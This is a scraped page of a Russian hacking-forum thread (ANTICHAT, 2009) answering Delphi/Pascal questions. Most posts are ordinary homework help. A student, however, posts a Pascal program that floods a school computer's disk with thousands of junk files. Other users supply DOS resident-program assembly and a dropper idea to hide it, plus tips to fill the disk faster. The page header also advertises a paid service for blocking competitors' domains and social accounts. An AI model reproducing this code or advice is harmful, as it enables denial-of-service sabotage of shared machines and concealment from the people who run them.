УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
[Delphi]/[Pascal] Задай вопрос, получи ответ

Страница 279 из 677

279

Опции темы

Поиск в этой теме

Опции просмотра

#2781

07.02.2009, 20:43

DiSi

Познающий

Регистрация: 08.12.2007

Сообщений: 92

Провел на форуме:
1216941

Репутация: 35

Отправить сообщение для DiSi с помощью ICQ

ICQClient1 - помогите с етим компонентом, меня интересует как обрабативать входяшие сообшения, ну и все все про етот клиент) ну важнее обработка вхожяших сообшений)

Если можна дайте пример)

#2782

07.02.2009, 22:12

lll6

Познающий

Регистрация: 01.03.2008

Сообщений: 99

Провел на форуме:
613745

Репутация: 51

Вот архив со статьёй, рассматривается работа с TICQClient, хватит на первое время, так же вот форум, где обсуждают этот компонент, всё самое свежее там

Последний раз редактировалось lll6; 07.02.2009 в 22:14..

#2783

08.02.2009, 15:48

Djezul

Познающий

Регистрация: 08.12.2008

Сообщений: 58

Провел на форуме:
153361

Репутация: 10

У меня такой вопрос, можно ли как то сделать так что бы программа запущенная в досе , написанная на паскале, не была видна в панеле задач?

#2784

08.02.2009, 17:48

vikseriq

Участник форума

Регистрация: 31.07.2008

Сообщений: 207

Провел на форуме:
299231

Репутация: 107

Отправить сообщение для vikseriq с помощью ICQ

Если всмысле консольная, то забей. Все равно учитель информатики твой умнее тебя, а трояны на TP есть мастдай )
Можно юзать WinApi HideTaskbar и setOpacity, но это прокатит только во FreePascal

#2785

08.02.2009, 18:28

slesh

Reservists Of Antichat - Level 6

Регистрация: 05.03.2007

Сообщений: 1,985

Провел на форуме:
3288241

Репутация: 3349

Отправить сообщение для slesh с помощью ICQ

Мысли сумасшедщего на эту тему:
Мысль первая: всю прожку замутить как резидент, чтобы даже после запуска из консоли небыло заметно что прожка висит.
Реализация первой мысли:
Ассемблерная вставка которая ставит обработчкий на таймер, а затем делает себя резидентной.
В обработчике таймера снять обработку и уже продолжить свою работу )
Резидентимся так:

Код:

mov ah,25h
mov al,1Ch
lea dx,MYFUNCTION
int 21h
lea dx,init ; 
int 27h

Мысль вторая: В себе таскать маленькую прожку которая скроет тебя из таск бара.
При старте проги твоей она из себя сохраняет на винт вторую прожку и запускает её.
Далее вторая прожка прячет освновную )

Изврат, но всёже невозможностей не существует )

Последний раз редактировалось slesh; 08.02.2009 в 18:35..

#2786

08.02.2009, 22:29

Djezul

Познающий

Регистрация: 08.12.2008

Сообщений: 58

Провел на форуме:
153361

Репутация: 10

Цитата:

Сообщение от slesh

Код:

mov ah,25h
mov al,1Ch
lea dx,MYFUNCTION
int 21h
lea dx,init ; 
int 27h

Интересно , я так и думал что что то с помощью ассемблера надо, а куда это вставлять?Вот есть прога

Код:

uses crt;
 var a:text;
 i1,i2,i3,n:integer;
begin
 for i1:=97 to 122 do
 begin
  for i2:=97 to 122 do
  begin
  for i3:=97 to 122 do
   begin
     assign(a,'c:\file'+chr(i1)+chr(i2)+chr(i3)+'.txt)
     rewrite(a);
     for n:=1 to 30000 do
     begin
       write(a,'----------------');
     end;
     close(a);
   end;
  end;
 end;
end.

Строго не судите, просто делать было нечего, а в школе места на дисках по 5-10 гиг , так что забьёт быстро. И такой вопрос , можно их сдалеть скрытыми файлы? И пожалуйста разесни куда вставлять код ассемблера

2 вариант интересный, но боюсь моих знаний для его реализации не хватит

Delphi + MS Access

#2787

09.02.2009, 01:31

Yanker

Познающий

Регистрация: 18.07.2008

Сообщений: 64

Провел на форуме:
550210

Репутация: 37

Delphi + MS Access

Создать базу данных о сдаче студентами сессии. Основная таблица «деканат» должна содержать поля : код_фамидии, дисциплина, оценка, дата_сдачи.
Заполнить таблицу деканат достаточно для 5 студентов, а таблицу ведомости для 15 записей.
Создать форму, на которой предусмотреть интерфейс, позвол. Осуществлять след запросы:
1. список студентов, сдавших данную дисциплину;
2. Список групп, сдавших данную дисциплину данного числа;
3. список отличников
4. список отличников по данной дициплине.

помогите сделать, пожалуйста....
http://narod.ru/disk/5561250000/db1.rar.html - файлег с базой

#2788

09.02.2009, 02:30

~~De-visible~~

Banned

Регистрация: 06.01.2008

Сообщений: 904

Провел на форуме:
4037638

Репутация: 1821

Отправить сообщение для De-visible с помощью ICQ

Цитата:

Сообщение от Djezul

Интересно , я так и думал что что то с помощью ассемблера надо, а куда это вставлять?Вот есть прога

Код:

uses crt;
 var a:text;
 i1,i2,i3,n:integer;
begin
 for i1:=97 to 122 do
 begin
  for i2:=97 to 122 do
  begin
  for i3:=97 to 122 do
   begin
     assign(a,'c:\file'+chr(i1)+chr(i2)+chr(i3)+'.txt)
     rewrite(a);
     for n:=1 to 30000 do
     begin
       write(a,'----------------');
     end;
     close(a);
   end;
  end;
 end;
end.

2 вариант интересный, но боюсь моих знаний для его реализации не хватит

Цитата:

а в школе места на дисках по 5-10 гиг , так что забьёт быстро.

Не думаю... юзай потоки.

#2789

09.02.2009, 03:00

FindeR

Участник форума

Регистрация: 15.11.2006

Сообщений: 259

Провел на форуме:
2589211

Репутация: 151

Цитата:

Сообщение от Yanker

1. список студентов, сдавших данную дисциплину;
2. Список групп, сдавших данную дисциплину данного числа;
3. список отличников
4. список отличников по данной дициплине.

Тебе именно перекрёстный запрос нужен, или уже полученные данные можно обработать?

#2790

09.02.2009, 13:00

desTiny

Reservists Of Antichat - Level 6

Регистрация: 04.02.2007

Сообщений: 1,152

Провел на форуме:
3008839

Репутация: 1502

Цитата:

Сообщение от De-visible

Не думаю... юзай потоки.

однажды мне один человек, не особенно знакомый со всякими апишками и тп, расскзывал, что им на какой-то олимпиаде удавалось за 2 секунды выполнения программы записывать около гигабайта. вроде обычными write();

Я бы забивал как-нибудь типа юзая WriteFile с адресом буфера равным imagebase и указанием большого размера

__________________
Bedankt euch dafür bei euch selbst.

H_2(S^3/((z1, z2)~(exp(2pi*i/p)z1, exp(2pi*q*i/p)z2)))=Z/pZ

Страница 279 из 677

279

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
[Wi-Fi, BT] Задай вопрос - получи ответ!	Alexsize	Беспроводные технологии/WPAN/WLAN	2567	19.04.2026 23:21
[ *NIX ] Задай вопрос - получи ответ.	Xszz	*nix	1547	15.06.2010 15:41
[jQuery] - Задай вопрос, получи ответ	Isis	PHP, PERL, MySQL, JavaScript	62	25.12.2009 03:25
ЕсТь ВоПрос	Guma	Чаты	4	26.10.2005 21:48

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход